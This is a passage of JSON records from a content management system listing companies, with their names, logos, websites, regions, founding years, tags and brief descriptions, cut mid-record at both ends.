goals."}],"markDefs":[{"_key":"6e2888c2cc83","_type":"link","href":"https://www.simplilearn.com/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b4b586e93a3d32f2802d8ab0590d9288fc930b93-156x48-svg","_type":"reference"}},"companyName":"Simplilearn","companyWebsite":"https://www.simplilearn.com/","hostProviders":[{"_key":"3ca1739c9d2f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":48,"region":"APAC","tags":[{"_key":"9cb19e589b48","_ref":"8dc80453-6ed0-45e5-8fa3-076f1de323fb","_type":"reference"},{"_key":"a9ff47fc9c34","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2010} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"2v4v8c27Q0p3afrTlkvr9i","_rev":"Q21J3pgWoUWkhUhtSonF6R","_type":"company","_updatedAt":"2023-07-21T09:14:20Z","companyLogo":{"alt":"","asset":{"_ref":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_type":"reference"}},"companyName":"Spare","companySize":50,"companyWebsite":"https://sparelabs.com/en/","hostProviders":[{"_key":"3c673f75e949","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":32,"region":"AMER","tags":[{"_key":"36ed3ede31ed","_ref":"8430ab79-9182-48c7-a13b-a02cc260a6ba","_type":"reference"},{"_key":"522a3873886e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"3a6591554bce","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"32Os1GLQHUZN9Dgi2D1v7x","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-18a2bd02b66f70a5c219bc64813bd03183f08c88-111x31-svg","_type":"reference"}},"companyName":"Breuniger","companyWebsite":"https://www.breuninger.com/de/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"32uBdx518SQgVTK4164yzC","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2-160x36-svg","_type":"reference"}},"companyName":"Auchan","companyWebsite":"https://www.auchan.fr/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"3A6EbsdpVkSiacDkiNvUT5","_rev":"Q21J3pgWoUWkhUhtSonFTj","_type":"company","_updatedAt":"2023-07-21T09:15:07Z","companyLogo":{"alt":"Adeo logo","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"companyName":"Adeo","companySize":10000,"companyWebsite":"https://adeo.com/","hostProviders":[{"_key":"9aaf66a51782","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"d479a10b4de4","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"ca31bfc87509","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"2b3209edcfdf","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"c4b1c0a903b1","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"058004c8a7b3","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"afbdf6bffd4d","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"yearFounded":1923} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"3KgXze1r78epaEI4biPd9V","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"MyCujoo logo","asset":{"_ref":"image-5158677bdcba26d846bc8b5191ba7afb81d72749-1250x833-png","_type":"reference"}},"companyName":"MyCujoo","companyWebsite":"https://mycujoo.tv/en/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"3RRXTYo90bZE7b5gUcUpgd","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Lakestar logo","asset":{"_ref":"image-82e7b4d8427939a0fbd5ee1f56964bf91f5e0699-116x116-png","_type":"reference"}},"companyName":"Lakestar","companyWebsite":"https://www.lakestar.com/"} {"_createdAt":"2023-06-13T11:24:02Z","_id":"3aeed013-8049-4126-87df-a37af41ae111","_rev":"on5KSabgAN0raW406Y4qgz","_type":"company","_updatedAt":"2024-02-08T14:56:08Z","companyDescription":[{"_key":"461ef6fe581d","_type":"block","children":[{"_key":"5cbb6b3afadd0","_type":"span","marks":["ff405444025e"],"text":"Hookdeck"},{"_key":"bbaa876f2bf7","_type":"span","marks":[],"text":" is a webhook infrastructure that handles the ingestion and error handling ensuring you receive all your webhooks. Hookdeck offers full visibility to empower dev teams to build, test and troubleshoot integrations with ease."}],"markDefs":[{"_key":"ff405444025e","_type":"link","href":"https://hookdeck.com/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-12c0b77c2bd91058ad005fe10789c116af49c795-140x17-svg","_type":"reference"}},"companyName":"Hookdeck","companyWebsite":"https://hookdeck.com/","hostProviders":[{"_key":"60e0e86a9886","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":30,"region":"AMER","tags":[{"_key":"381afc80e36b","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"6cb91262f913","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"f5dabe7150fd","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"607d4aa2553b","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"74359cfe90cc","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},{"_key":"d3282913b461","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"52f3a8206074","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2021} {"_createdAt":"2022-09-14T11:07:57Z","_id":"3b9bba89-1871-4dec-ba5b-2f462953b4ff","_rev":"STwkGY00NBjXpkjjM1o4pC","_type":"company","_updatedAt":"2022-09-14T11:07:57Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-ef98cb5556d449d3e078d592abc8c146cf0cd035-1000x1053-png","_type":"reference"}},"companyName":"Platform6","companyWebsite":"https://platform6.fi/"} {"_createdAt":"2024-03-13T11:10:37Z","_id":"3bb4c6a5-6d36-46fb-8ee8-c8553f243634","_rev":"rAWuI3yYduKRvZqckJrRLd","_type":"company","_updatedAt":"2024-03-13T11:16:19Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b-2386x900-png","_type":"reference"}},"companyName":"Fullstory","companyWebsite":"https://www.fullstory.com/","logoHeight":48} {"_createdAt":"2024-03-04T16:11:00Z","_id":"4029e15c-ff5b-4e50-93ee-d1c029b38c23","_rev":"9lf0N1nj0tQugwM8VKcZSq","_type":"company","_updatedAt":"2024-03-04T16:14:33Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-1c83176b3a66ec5f75724135f9663c2ea9526257-214x42-svg","_type":"reference"}},"companyName":"llamaIndex","companyWebsite":"https://www.llamaindex.ai/","logoHeight":48} {"_createdAt":"2023-10-10T13:46:20Z","_id":"41defdde-593b-4266-971d-d5fde91e1e89","_rev":"08kGRAWxLoE1evFcQWEpD8","_type":"company","_updatedAt":"2023-10-11T07:23:17Z","companyDescription":[{"_key":"e66c15d52829","_type":"block","children":[{"_key":"a88f4b79a7060","_type":"span","marks":[],"text":"Alterra was founded in 2015 with the initial name Sepulsa.com. As a leading technology company in Indonesia, Alterra focuses on the billing and payment technology ecosystem. Currently, Alterra is connected to various bill issuers and payment methods that are popular in Indonesia. In the form of an innovative platform, Alterra provides bill payment services from upstream to downstream starting from billers, payment channels, to end-users."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b3c86f70eb302a0b609268e4fb7b277ee4f6341a-289x174-png","_type":"reference"}},"companyName":"Alterra bills","companyWebsite":"https://www.alterra.id/","logoHeight":48,"region":"APAC","tags":[{"_key":"166dd18f39a9","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"3ec8990a8b9f","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"5932e4af261e","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2023-07-31T07:41:13Z","_id":"44bbbff6-f416-4cfe-83ed-55d377467999","_rev":"XZCFBQN7u3p4u4Zd9I66Vd","_type":"company","_updatedAt":"2023-08-15T12:25:42Z","companyDescription":[{"_key":"ec387d0adffa","_type":"block","children":[{"_key":"5a3e3512eda40","_type":"span","marks":[],"text":"Digitalparking AG develops, produces and distributes complete solutions for the simple management of parking spaces in Switzerland. From barrier systems to parking meters to innovative, digital solutions, we offer our customers all solutions from a single source. With extensive Swiss market know-how, many years of experience and a dynamic development department, we will continue to create new forms and offers in the future that make parking space use even easier, more convenient and more affordable for drivers and operators."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-0069c4508662bc57e69595f317226cd5629871e8-863x167-png","_type":"reference"}},"companyName":"Digitalparking AG","companySize":200,"companyWebsite":"https://digitalparking.ch/","hostProviders":[{"_key":"8b79606ab172","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":38,"region":"EMEA","tags":[{"_key":"0636667db2ba","_ref":"12ad0420-837b-42cb-9631-2009792d0d75","_type":"reference"},{"_key":"bc0ad4158ffa","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":1956} {"_createdAt":"2023-10-30T11:21:08Z","_id":"45984b60-87af-4da5-9522-1a7b054d564c","_rev":"NgTOJkLjRz9tfm3YdZnOfS","_type":"company","_updatedAt":"2023-10-30T11:21:08Z","companyLogo":{"_type":"mainImage","alt":"Food Labs","asset":{"_ref":"image-ac20325625b3d0e73776126836e84c790e4cad36-1024x204-png","_type":"reference"}},"companyName":"Food Labs","companyWebsite":"https://www.foodlabs.com/","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"46ckjju8OfM13SLw7nWahC","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"Atlantic Labs logo","asset":{"_ref":"image-80ee99c3bc7447d7dbf715cc62d8086e25067fb1-296x88-jpg","_type":"reference"}},"companyName":"Atlantic Labs","companyWebsite":"https://atlanticlabs.de"} {"_createdAt":"2024-03-25T16:07:26Z","_id":"47286764-04f2-47a7-8ad6-66855898c8df","_rev":"Y34ePYFQ489qDVybEK0S1v","_type":"company","_updatedAt":"2024-03-25T16:07:26Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-71534bba6160f0f3bcd05d370cf3a477625c4872-252x72-png","_type":"reference"}},"companyName":"Rubik","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4FQpR3sYxdH5OsijB9qTsa","_rev":"on5KSabgAN0raW406Y4sck","_type":"company","_updatedAt":"2024-02-08T14:56:41Z","companyLogo":{"alt":"Alef Education logo","asset":{"_ref":"image-f14445d4989fe634bf721e60ddcef02777aa01d5-180x92-svg","_type":"reference"}},"companyName":"Alef Education","companySize":1000,"companyWebsite":"https://www.alefeducation.com/","hostProviders":[{"_key":"bfec1b1ba718","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":65,"region":"EMEA","tags":[{"_key":"aba3d8da0426","_ref":"8dc80453-6ed0-45e5-8fa3-076f1de323fb","_type":"reference"},{"_key":"e47ded25c2e4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"f309c457666c","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4GgPeYp2SDht4tRa4YGSxj","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-6877e11367420a7490b0bf543a8662a564003f52-82x35-svg","_type":"reference"}},"companyName":"Kyyti","companyWebsite":"https://www.kyyti.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4ShLUFrH8P8N23QatO8njc","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Trind VC","asset":{"_ref":"image-90ab6f03e96c9057b1abbdce2b722765a273cafb-2533x740-png","_type":"reference"}},"companyName":"Trind VC","companyWebsite":"https://trind.vc/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4U9kl4WC1zY8IptSkBammQ","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-d90e807ae137f38782e5ad635cfc9b4111769614-76x38-svg","_type":"reference"}},"companyName":"Motum","companyWebsite":"https://tecnomotum.com.mx/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4v6StIkMCWSDMaAuRR9Kjf","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-ab930821af442448c397965c09cdf767041b7567-115x21-svg","_type":"reference"}},"companyName":"Optiopay","companyWebsite":"https://www.optiopay.com/"} {"_createdAt":"2024-03-13T11:14:47Z","_id":"56d82588-1c79-4707-9f95-64e07086e00b","_rev":"rAWuI3yYduKRvZqckJrOWi","_type":"company","_updatedAt":"2024-03-13T11:14:47Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-4e5d6d686db31e828bac08ccb02fc49aa00e17b8-1200x399-png","_type":"reference"}},"companyName":"Aiven","companyWebsite":"https://aiven.io","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"57a6DAKdLzRruiVEdAfNFW","_rev":"Q21J3pgWoUWkhUhtSonEof","_type":"company","_updatedAt":"2023-07-21T09:13:15Z","companyLogo":{"alt":"OVO energy","asset":{"_ref":"image-e3ff773f36b2edb9ac7034b87cfea165fba6bf74-127x52-svg","_type":"reference"}},"companyName":"OVO Energy","companySize":1000,"companyWebsite":"https://www.ovoenergy.com/","hostProviders":[{"_key":"34f6cc842893","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"773b8eb28b1c","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":55,"region":"EMEA","tags":[{"_key":"0a9a6af2176b","_ref":"fbc70238-6d5b-4a3c-9bc8-f09256208390","_type":"reference"},{"_key":"e994ea0eeed1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2009} {"_createdAt":"2024-03-13T16:56:24Z","_id":"57b1e0d8-97c5-4304-ac49-4c60ad8ae86d","_rev":"rAWuI3yYduKRvZqckL3hzS","_type":"company","_updatedAt":"2024-03-13T17:02:35Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-db5c22d8993913d38107b4b3efa1b59beb690218-438x133-png","_type":"reference"}},"companyName":"ClickHouse (future support)","companyWebsite":"https://clickhouse.com/","logoHeight":50} {"_createdAt":"2023-03-01T10:02:32Z","_id":"59141ae6-931b-4202-a95c-4d805376440a","_rev":"Q21J3pgWoUWkhUhtSonI4v","_type":"company","_updatedAt":"2023-07-21T09:22:52Z","companyDescription":[{"_key":"f61bb753653e","_type":"block","children":[{"_key":"0233cf5139ab0","_type":"span","marks":["83323ed4b2b6"],"text":"Digital Asset Research"},{"_key":"05350b75bc33","_type":"span","marks":[],"text":" (DAR) is a specialized provider of ‘clean’ digital asset data, insights, and research for institutional clients such as Bloomberg, FTSE Russell, Wilshire and Chainlink."}],"markDefs":[{"_key":"83323ed4b2b6","_type":"link","href":"https://www.digitalassetresearch.com/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","alt":"Digital Asset Research logo","asset":{"_ref":"image-e854fbd486c4ba7be1c07430217b5b161691f975-800x316-png","_type":"reference"}},"companyName":"Digital Asset Research","companyWebsite":"https://www.digitalassetresearch.com/","hostProviders":[{"_key":"b1a6af5371c9","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"AMER","tags":[{"_key":"6577a3cf5c05","_ref":"ba0ccef8-edb6-431b-a082-f13df38fb842","_type":"reference"},{"_key":"953e4c0a255f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2017} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5L69OdGtrBIiTWUpEuRdl3","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-a3ea874b6e0d21fd92b9912dbde1be4608fbfbcd-98x27-svg","_type":"reference"}},"companyName":"Eurostar","companyWebsite":"https://www.eurostar.com/"} {"_createdAt":"2023-02-02T17:23:43Z","_i18n_lang":"en","_id":"64f58740-5972-4766-819c-5920d5acafb5","_rev":"pnOvEyahjeT2Gte9fknHIZ","_type":"company","_updatedAt":"2023-02-02T17:26:28Z","companyLogo":{"alt":"Armilar Venture Partners logo","asset":{"_ref":"image-c60172501ea01fa6cc6c897f040a84bcc1cd7650-800x634-jpg","_type":"reference"}},"companyName":"Armilar Venture Partners","companyWebsite":"https://www.armilar.com/","logoHeight":65} {"_createdAt":"2022-09-14T11:07:00Z","_id":"5c57b91e-3067-4bdc-b9e7-4b43b3ab4f90","_rev":"PMq0xitQ26NszJZ6mX0QXZ","_type":"company","_updatedAt":"2022-09-14T11:07:00Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-4aeba5f5d92899a1ca62e6d1d67914bfbea597b4-1600x400-png","_type":"reference"}},"companyName":"Picus captial","companyWebsite":"https://www.picuscap.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5cvXfd4th8X0qfJIQWtMUN","_rev":"dsxJlHxlnt5nZt5n216uCk","_type":"company","_updatedAt":"2023-06-09T08:35:06Z","companyLogo":{"alt":"Schibsted logo","asset":{"_ref":"image-570317376d2cb7af5259bda097cfad058e69c190-154x28-svg","_type":"reference"}},"companyName":"Schibsted","companySize":6000,"companyWebsite":"https://schibsted.com/","logoHeight":30,"tags":[{"_key":"992b9b472bea","_ref":"21893a68-7c84-4a28-8288-fea5434d27dc","_type":"reference"},{"_key":"ccc8ea223d74","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":1839} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5xST8gYk4Nx7eZmNvbgJVn","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"TokenMarket logo","asset":{"_ref":"image-cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3-1250x833-png","_type":"reference"}},"companyName":"TokenMarket","companyWebsite":"https://tokenmarket.net/"} {"_createdAt":"2024-03-25T16:06:59Z","_id":"600c9ec3-b196-4344-9c05-2304a170ca99","_rev":"Y34ePYFQ489qDVybEK0QDV","_type":"company","_updatedAt":"2024-03-25T16:06:59Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-764168fa6840782f972d118a3e51d21b7d03d6d2-900x300-png","_type":"reference"}},"companyName":"Splash Financial","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"61Pw2E6kbi4VJjzppTwPxs","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-982659ff453d758c2a566d072ef53c487b191559-95x25-svg","_type":"reference"}},"companyName":"Fiverr","companyWebsite":"https://www.fiverr.com/"} {"_createdAt":"2024-03-04T16:05:36Z","_id":"627c6525-f7f7-462b-83ac-a81bcade3fb8","_rev":"3k3vwhvhnpMxr5ODyxsiRH","_type":"company","_updatedAt":"2024-03-04T16:14:45Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-ea54ec63cc871f163a95c1351edb119fb10de35e-765x130-jpg","_type":"reference"}},"companyName":"LangChain","companyWebsite":"https://www.langchain.com/","logoHeight":48} {"_createdAt":"2022-11-16T11:52:03Z","_id":"9e549fad-31c5-4435-a8da-ecbf2f628388","_rev":"Q21J3pgWoUWkhUhtSonDzn","_type":"company","_updatedAt":"2023-07-21T09:10:58Z","companyLogo":{"_type":"mainImage","alt":"Paperlust logo with graphical elements","asset":{"_ref":"image-a179bc1a88102dd9ab898047b05c51730b9b2296-468x126-svg","_type":"reference"}},"companyName":"Paperlust","companySize":50,"companyWebsite":"https://paperlust.co/","hostProviders":[{"_key":"8fcc87247833","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"APAC","tags":[{"_key":"8f2c9f3eb83d","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"0d603bef2861","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"yearFounded":2014} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6Sjshrcish4a1wSalGBxLB","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-d6d964afe3c7a375502d4750c4d5836523b5cf28-99x26-png","_type":"reference"}},"companyName":"Maria01","companyWebsite":"https://maria.io/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6UV3di2vT3qTo1j8MrysXP","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31-133x81-svg","_type":"reference"}},"companyName":"Wärtsilä","companyWebsite":"https://www.wartsila.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6cbYBJfAGrn9QJdTemPOK2","_rev":"PMq0xitQ26NszJZ6mX0LTn","_type":"company","_updatedAt":"2022-09-14T11:05:34Z","companyLogo":{"alt":"maria 01 logo","asset":{"_ref":"image-fd7f0ccd834af2baa2b61241bc633a206f7b932d-150x27-png","_type":"reference"}},"companyName":"Maria01","companyWebsite":"https://maria.io/","logoHeight":25} {"_createdAt":"2023-06-29T09:46:07Z","_id":"6da0e647-eb82-4872-b934-d7045afa3c89","_rev":"kqzyZ7JVpCO5nNERnMgJMG","_type":"company","_updatedAt":"2023-06-30T15:50:20Z","companyLogo":{"_type":"mainImage","alt":"Target Global logo","asset":{"_ref":"image-ee313bded590b2d5a74ac6b8159490ab24192734-856x120-jpg","_type":"reference"}},"companyName":"Target Global","companyWebsite":"https://www.targetglobal.vc/","logoHeight":30} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6xMj6rU1eYxXDAngTI2seF","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-05257fa2fe1957749749c691ddfab65d8cd1d67d-3632x1254-jpg","_type":"reference"}},"companyName":"Sphero","companyWebsite":"https://sphero.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"75Wc07GSoCxVERISfFLDHl","_rev":"Q21J3pgWoUWkhUhtSonDEb","_type":"company","_updatedAt":"2023-07-21T09:09:03Z","companyLogo":{"alt":"","asset":{"_ref":"image-6ac79764a33469916a97b0444ebc84c806878d22-151x34-svg","_type":"reference"}},"companyName":"JobCloud","companyWebsite":"https://www.jobcloud.ch/c/en/","hostProviders":[{"_key":"efe301aba2bb","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":36,"region":"EMEA","tags":[{"_key":"d7ab5bd21680","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"c682702ad9e0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2013} {"_createdAt":"2023-10-19T06:12:08Z","_id":"761adbb3-d852-42fa-a168-49123fac3083","_rev":"kfl1F24L65Nzg04H5Hz3EN","_type":"company","_updatedAt":"2023-10-19T06:12:08Z","companyDescription":[{"_key":"a78f03fcc735","_type":"block","children":[{"_key":"68ff3b72c0a10","_type":"span","marks":["c4d05d1b84f9"],"text":"Netfonds AG"},{"_key":"90cda16e4b13","_type":"span","marks":[],"text":" is a leading technology platform for the administration, consulting, transaction processing and regulation of the German financial and insurance industry. With its holdings, the holding company acts as an asset manager, fund manager, multiple agent, second largest broker pool as well as the largest group-independent liability umbrella in Germany. The operational business is bundled under the FinFire brand in a web-based platform so that Netfonds, as a B2B financial services provider, can offer its customers complete, secure and MiFID II-compliant processing of financial market transactions."}],"markDefs":[{"_key":"c4d05d1b84f9","_type":"link","href":"https://www.netfonds.de"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b222ed1c27f9788426368da314eb62f9c1634c23-3220x829-png","_type":"reference"}},"companyName":"Netfonds AG","companyWebsite":"https://www.netfonds.de","hostProviders":[{"_key":"d2632e9fde66","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"c36549c11d07","_ref":"ba0ccef8-edb6-431b-a082-f13df38fb842","_type":"reference"},{"_key":"252f6eeeccd8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"4d46cbc776ca","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"3cf947798954","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"d213b92573ac","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}],"yearFounded":2000} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"798pg8vpkaOTehLq4MG4RD","_rev":"Q21J3pgWoUWkhUhtSonF0v","_type":"company","_updatedAt":"2023-07-21T09:14:03Z","companyLogo":{"alt":"Vidio logo","asset":{"_ref":"image-8745f8234e5b584fda342e1d38064871b129a541-3757x1259-svg","_type":"reference"}},"companyName":"Vidio","companySize":400,"companyWebsite":"https://www.vidio.com/","hostProviders":[{"_key":"12db939406dc","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"region":"APAC","tags":[{"_key":"025c47221a58","_ref":"21893a68-7c84-4a28-8288-fea5434d27dc","_type":"reference"},{"_key":"09aab8dec1dc","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"6a8a4c436dcd","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"b3d6b325cd43","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":2014} {"_createdAt":"2024-03-25T16:05:19Z","_id":"8243dd02-8eec-4188-8159-c6a4f7e305c6","_rev":"Y34ePYFQ489qDVybEK0G8L","_type":"company","_updatedAt":"2024-03-25T16:05:19Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-1072027d2c450f2cf653ad9624bc5de81a90c7dd-1400x588-png","_type":"reference"}},"companyName":"Disney","logoHeight":48} {"_createdAt":"2022-09-14T11:09:34Z","_id":"839c541d-e2e2-40b9-9287-e5719e8ec937","_rev":"9eyf8qvxxNsqIJlFBW6vBU","_type":"company","_updatedAt":"2022-10-07T09:48:07Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-ec9dcf0cdef2b0780a5a1c9746734ebac3282466-2500x939-png","_type":"reference"}},"companyName":"Sofokus Ventures","companyWebsite":"https://www.sofokus.com/sofokus-ventures/","logoHeight":60} {"_createdAt":"2024-08-26T07:26:57Z","_id":"8720e90b-9f99-45f8-81ac-7dfd4e5fda00","_rev":"m8xt6aEW5HgObqk4IKrsnU","_type":"company","_updatedAt":"2024-08-26T07:26:57Z","companyDescription":[{"_key":"89d766b102ff","_type":"block","children":[{"_key":"6879a8f3aad80","_type":"span","marks":[],"text":"Aalto University Startup Center logo "}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-9a610d420305ded0eab907c4f109af9212ddbcef-905x328-png","_type":"reference"}},"companyName":"Aalto University Startup 